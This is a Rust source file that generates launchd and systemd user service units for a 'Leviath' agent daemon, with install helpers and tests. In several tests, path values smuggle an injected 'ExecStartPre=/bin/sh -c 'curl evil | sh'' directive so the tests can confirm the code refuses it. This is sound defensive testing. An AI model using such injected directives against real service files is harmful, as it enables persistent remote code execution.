1use std::path::{Path, PathBuf};
18
19use anyhow::{Context, Result};
20
21pub const SERVICE_LABEL: &str = "ai.sunforge.leviath";
23
24#[cfg(any(target_os = "macos", target_os = "linux"))]
27const LOG_FILE: &str = "daemon.log";
28
29#[derive(Debug, Clone, PartialEq, Eq)]
31pub struct ServiceUnit {
32 pub path: PathBuf,
34 pub contents: String,
36 pub activate: (String, Vec<String>),
38 pub deactivate: (String, Vec<String>),
40}
41
42#[cfg(target_os = "macos")]
52pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, uid: u32) -> Result<ServiceUnit> {
53 let path = config_home.join(format!("{SERVICE_LABEL}.plist"));
54 Ok(ServiceUnit {
55 contents: launchd_plist(exe, home, &home.join(LOG_FILE)),
56 activate: (
57 "launchctl".to_string(),
58 vec![
59 "bootstrap".to_string(),
60 format!("gui/{uid}"),
61 display(&path),
62 ],
63 ),
64 deactivate: (
65 "launchctl".to_string(),
66 vec!["bootout".to_string(), format!("gui/{uid}/{SERVICE_LABEL}")],
67 ),
68 path,
69 })
70}
71
72#[cfg(target_os = "macos")]
74pub fn config_home(user_home: &Path) -> Result<PathBuf> {
75 Ok(user_home.join("Library").join("LaunchAgents"))
76}
77
78#[cfg(target_os = "macos")]
81fn launchd_plist(exe: &Path, home: &Path, log: &Path) -> String {
82 format!(
83 r#"<?xml version="1.0" encoding="UTF-8"?>
84<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
85<plist version="1.0">
86<dict>
87 <key>Label</key>
88 <string>{label}</string>
89 <key>ProgramArguments</key>
90 <array>
91 <string>{exe}</string>
92 <string>daemon</string>
93 </array>
94 <key>EnvironmentVariables</key>
95 <dict>
96 <key>LEVIATH_HOME</key>
97 <string>{home}</string>
98 </dict>
99 <key>RunAtLoad</key>
100 <true/>
101 <key>KeepAlive</key>
102 <true/>
103 <key>ThrottleInterval</key>
104 <integer>10</integer>
105 <key>StandardOutPath</key>
106 <string>{log}</string>
107 <key>StandardErrorPath</key>
108 <string>{log}</string>
109</dict>
110</plist>
111"#,
112 label = SERVICE_LABEL,
113 exe = xml_escape(&display(exe)),
114 home = xml_escape(&display(home)),
115 log = xml_escape(&display(log)),
116 )
117}
118
119#[cfg(target_os = "macos")]
121fn xml_escape(s: &str) -> String {
122 let mut out = String::with_capacity(s.len());
123 for c in s.chars() {
124 match c {
125 '&' => out.push_str("&"),
126 '<' => out.push_str("<"),
127 '>' => out.push_str(">"),
128 '"' => out.push_str("""),
129 '\'' => out.push_str("'"),
130 _ => out.push(c),
131 }
132 }
133 out
134}
135
136#[cfg(target_os = "linux")]
142pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, _uid: u32) -> Result<ServiceUnit> {
143 Ok(ServiceUnit {
144 path: config_home.join("leviath.service"),
145 contents: systemd_unit(exe, home, &home.join(LOG_FILE))?,
146 activate: (
147 "systemctl".to_string(),
148 vec![
149 "--user".to_string(),
150 "enable".to_string(),
151 "--now".to_string(),
152 "leviath.service".to_string(),
153 ],
154 ),
155 deactivate: (
156 "systemctl".to_string(),
157 vec![
158 "--user".to_string(),
159 "disable".to_string(),
160 "--now".to_string(),
161 "leviath.service".to_string(),
162 ],
163 ),
164 })
165}
166
167#[cfg(target_os = "linux")]
169pub fn config_home(user_home: &Path) -> Result<PathBuf> {
170 Ok(user_home.join(".config").join("systemd").join("user"))
171}
172
173pub fn unit_safe(label: &str, value: &Path) -> Result<String> {
195 let s = display(value);
196 if s.contains('\n') || s.contains('\r') {
197 anyhow::bail!(
198 "refusing to write a systemd unit: the {label} path contains a newline, \
199 which would inject additional unit directives"
200 );
201 }
202 Ok(s)
203}
204
205pub fn systemd_unit(exe: &Path, home: &Path, log: &Path) -> Result<String> {
210 let exe = unit_safe("executable", exe)?;
211 let home = unit_safe("LEVIATH_HOME", home)?;
212 let log = unit_safe("log", log)?;
213 Ok(format!(
214 "[Unit]\n\
215 Description=Leviath shared-world agent daemon\n\
216 After=network-online.target\n\
217 \n\
218 [Service]\n\
219 Type=simple\n\
220 ExecStart={exe} daemon\n\
221 Environment=LEVIATH_HOME={home}\n\
222 Restart=always\n\
223 RestartSec=10\n\
224 StandardOutput=append:{log}\n\
225 StandardError=append:{log}\n\
226 \n\
227 [Install]\n\
228 WantedBy=default.target\n",
229 ))
230}
231
232#[cfg(not(any(target_os = "macos", target_os = "linux")))]
236const UNSUPPORTED: &str = "`lev daemon install` supports macOS (launchd) and Linux (systemd user \
237 units); on this platform, start `lev daemon` from your own login script";
238
239#[cfg(not(any(target_os = "macos", target_os = "linux")))]
241pub fn service_unit(
242 _exe: &Path,
243 _home: &Path,
244 _config_home: &Path,
245 _uid: u32,
246) -> Result<ServiceUnit> {
247 anyhow::bail!(UNSUPPORTED)
248}
249
250#[cfg(not(any(target_os = "macos", target_os = "linux")))]
252pub fn config_home(_user_home: &Path) -> Result<PathBuf> {
253 anyhow::bail!(UNSUPPORTED)
254}
255
256pub fn install(unit: &ServiceUnit) -> Result<&Path> {
260 if let Some(parent) = unit.path.parent() {
261 std::fs::create_dir_all(parent)
262 .with_context(|| format!("creating {}", parent.display()))?;
263 }
264 std::fs::write(&unit.path, &unit.contents)
265 .with_context(|| format!("writing {}", unit.path.display()))?;
266 Ok(&unit.path)
267}
268
269pub fn uninstall(unit: &ServiceUnit) -> Result<bool> {
271 match std::fs::remove_file(&unit.path) {
272 Ok(()) => Ok(true),
273 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(false),
274 Err(e) => Err(e).with_context(|| format!("removing {}", unit.path.display())),
275 }
276}
277
278pub fn format_supervision(installed: bool, path: &Path) -> String {
280 if installed {
281 format!("supervised: yes ({})", path.display())
282 } else {
283 "supervised: no (`lev daemon install` restarts it automatically)".to_string()
284 }
285}
286
287fn display(path: &Path) -> String {
295 path.to_string_lossy().into_owned()
296}
297
298#[cfg(test)]
299mod tests {
300 use super::*;
301
302 fn bare_unit(path: PathBuf) -> ServiceUnit {
305 ServiceUnit {
306 path,
307 contents: "unit body\n".to_string(),
308 activate: ("sup".to_string(), vec!["on".to_string()]),
309 deactivate: ("sup".to_string(), vec!["off".to_string()]),
310 }
311 }
312
313 #[test]
314 fn install_writes_then_uninstall_removes_exactly_once() {
315 let dir = tempfile::tempdir().unwrap();
316 let unit = bare_unit(dir.path().join("nested").join("leviath.unit"));
317
318 let written = install(&unit).unwrap().to_path_buf();
319 assert_eq!(std::fs::read_to_string(&written).unwrap(), unit.contents);
320 assert!(uninstall(&unit).unwrap(), "first removal reports a removal");
321 assert!(
322 !uninstall(&unit).unwrap(),
323 "second is a no-op, not an error"
324 );
325 }
326
327 #[test]
328 fn install_and_uninstall_surface_io_errors() {
329 let dir = tempfile::tempdir().unwrap();
330 let blocker = dir.path().join("blocker");
332 std::fs::write(&blocker, "x").unwrap();
333 assert!(install(&bare_unit(blocker.join("child").join("unit"))).is_err());
334
335 let occupied = dir.path().join("occupied");
338 std::fs::create_dir(&occupied).unwrap();
339 assert!(install(&bare_unit(occupied.clone())).is_err());
340
341 assert!(uninstall(&bare_unit(occupied)).is_err());
344
345 assert!(install(&bare_unit(PathBuf::new())).is_err());
348 }
349
350 #[test]
351 fn supervision_status_reads_both_ways() {
352 let path = Path::new("/home/u/unit");
353 assert!(format_supervision(true, path).contains("yes"));
354 assert!(format_supervision(true, path).contains("/home/u/unit"));
355 assert!(format_supervision(false, path).contains("no"));
356 }
357
358 #[cfg(any(target_os = "macos", target_os = "linux"))]
361 mod supported {
362 use super::*;
363
364 fn unit() -> ServiceUnit {
365 service_unit(
366 Path::new("/usr/local/bin/lev"),
367 Path::new("/home/u/.leviath"),
368 Path::new("/tmp/lev-units"),
369 501,
370 )
371 .expect("this platform has a supervisor")
372 }
373
374 #[test]
375 fn the_unit_restarts_the_daemon_and_points_it_at_the_leviath_home() {
376 let u = unit();
377 assert!(u.contents.contains("/usr/local/bin/lev"));
378 assert!(u.contents.contains("/home/u/.leviath"));
379 assert!(u.contents.contains(LOG_FILE));
380 assert_eq!(u.activate.0, u.deactivate.0);
382 assert!(!u.activate.1.is_empty() && !u.deactivate.1.is_empty());
383 assert!(u.path.starts_with("/tmp/lev-units"));
384 let home = config_home(Path::new("/home/u")).expect("this platform has a supervisor");
386 assert!(home.starts_with("/home/u"));
387 }
388 }
389
390 #[cfg(target_os = "macos")]
391 mod macos {
392 use super::*;
393
394 #[test]
395 fn paths_with_xml_metacharacters_are_escaped() {
396 assert_eq!(
397 xml_escape("a&b<c>d\"e'f"),
398 "a&b<c>d"e'f"
399 );
400 assert_eq!(xml_escape("plain/path"), "plain/path");
401 }
402
403 #[test]
404 fn it_is_a_launchd_plist_bootstrapped_into_the_gui_domain() {
405 let u = service_unit(
406 Path::new("/usr/local/bin/lev"),
407 Path::new("/home/u/.leviath"),
408 Path::new("/tmp/lev-units"),
409 501,
410 )
411 .unwrap();
412 assert_eq!(
413 u.path.file_name().unwrap().to_string_lossy(),
414 format!("{SERVICE_LABEL}.plist")
415 );
416 assert_eq!(u.activate.1[0], "bootstrap");
417 assert_eq!(u.activate.1[1], "gui/501");
418 assert_eq!(u.deactivate.1[1], format!("gui/501/{SERVICE_LABEL}"));
419 assert!(u.contents.contains("<key>KeepAlive</key>"));
421 assert!(u.contents.contains("<key>RunAtLoad</key>"));
422 assert!(
423 config_home(Path::new("/home/u"))
424 .unwrap()
425 .ends_with("LaunchAgents")
426 );
427 }
428 }
429
430 #[cfg(target_os = "linux")]
431 mod linux {
432 use super::*;
433
434 #[test]
435 fn it_is_a_systemd_user_unit_enabled_for_the_calling_user() {
436 let u = service_unit(
437 Path::new("/usr/local/bin/lev"),
438 Path::new("/home/u/.leviath"),
439 Path::new("/tmp/lev-units"),
440 501,
441 )
442 .unwrap();
443 assert_eq!(u.path.file_name().unwrap(), "leviath.service");
444 assert_eq!(
445 u.activate.1,
446 ["--user", "enable", "--now", "leviath.service"]
447 );
448 assert_eq!(
449 u.deactivate.1,
450 ["--user", "disable", "--now", "leviath.service"]
451 );
452 assert!(u.contents.contains("Restart=always"));
454 assert!(u.contents.contains("WantedBy=default.target"));
455 assert!(config_home(Path::new("/home/u")).unwrap().ends_with("user"));
456 }
457
458 #[test]
466 fn a_newline_in_leviath_home_is_refused_at_the_call_site() {
467 let err = service_unit(
468 Path::new("/usr/local/bin/lev"),
469 Path::new("/tmp/x\nExecStartPre=/bin/sh -c 'curl evil | sh'"),
470 Path::new("/tmp/lev-units"),
471 501,
472 )
473 .expect_err("a newline in the home path must not reach the unit file");
474 assert!(err.to_string().contains("LEVIATH_HOME"), "{err}");
475 }
476 }
477
478 mod systemd_unit_file {
481 use super::*;
482
483 #[test]
484 fn display_renders_a_path_losslessly_when_it_can() {
485 assert_eq!(display(Path::new("/a/b")), "/a/b");
486 }
487
488 #[test]
489 fn it_renders_the_expected_directives() {
490 let unit = systemd_unit(
491 Path::new("/usr/local/bin/lev"),
492 Path::new("/home/u/.leviath"),
493 Path::new("/home/u/.leviath/daemon.log"),
494 )
495 .unwrap();
496 assert!(unit.contains("ExecStart=/usr/local/bin/lev daemon"));
497 assert!(unit.contains("Environment=LEVIATH_HOME=/home/u/.leviath"));
498 assert!(unit.contains("Restart=always"));
499 }
500
501 #[test]
508 fn a_newline_in_an_interpolated_path_is_refused() {
509 let evil = Path::new("/home/u/.leviath\nExecStartPre=/bin/sh -c 'curl evil | sh'");
510 let err = systemd_unit(
511 Path::new("/usr/local/bin/lev"),
512 evil,
513 Path::new("/home/u/.leviath/daemon.log"),
514 )
515 .expect_err("a newline in LEVIATH_HOME must be refused");
516 assert!(err.to_string().contains("newline"), "got: {err}");
517 assert!(err.to_string().contains("LEVIATH_HOME"), "got: {err}");
518 }
519
520 #[test]
522 fn every_interpolated_path_is_checked() {
523 let evil = Path::new("/x\nExecStartPre=/bin/false");
524 let good = Path::new("/home/u/.leviath");
525 assert!(systemd_unit(evil, good, good).is_err(), "executable");
526 assert!(systemd_unit(good, evil, good).is_err(), "home");
527 assert!(systemd_unit(good, good, evil).is_err(), "log");
528 }
529
530 #[test]
532 fn a_carriage_return_is_refused_too() {
533 assert!(
534 systemd_unit(
535 Path::new("/usr/local/bin/lev"),
536 Path::new("/home/u/.leviath\rExecStartPre=/bin/false"),
537 Path::new("/home/u/.leviath/daemon.log"),
538 )
539 .is_err()
540 );
541 }
542 }
543
544 #[cfg(not(any(target_os = "macos", target_os = "linux")))]
547 mod unsupported {
548 use super::*;
549
550 #[test]
551 fn install_is_refused_with_an_actionable_message() {
552 let err = service_unit(
553 Path::new("lev.exe"),
554 Path::new("home"),
555 Path::new("units"),
556 0,
557 )
558 .unwrap_err()
559 .to_string();
560 assert!(err.contains("macOS"), "got: {err}");
561 assert!(err.contains("lev daemon"), "got: {err}");
562 assert!(config_home(Path::new("home")).is_err());
563 }
564 }
565}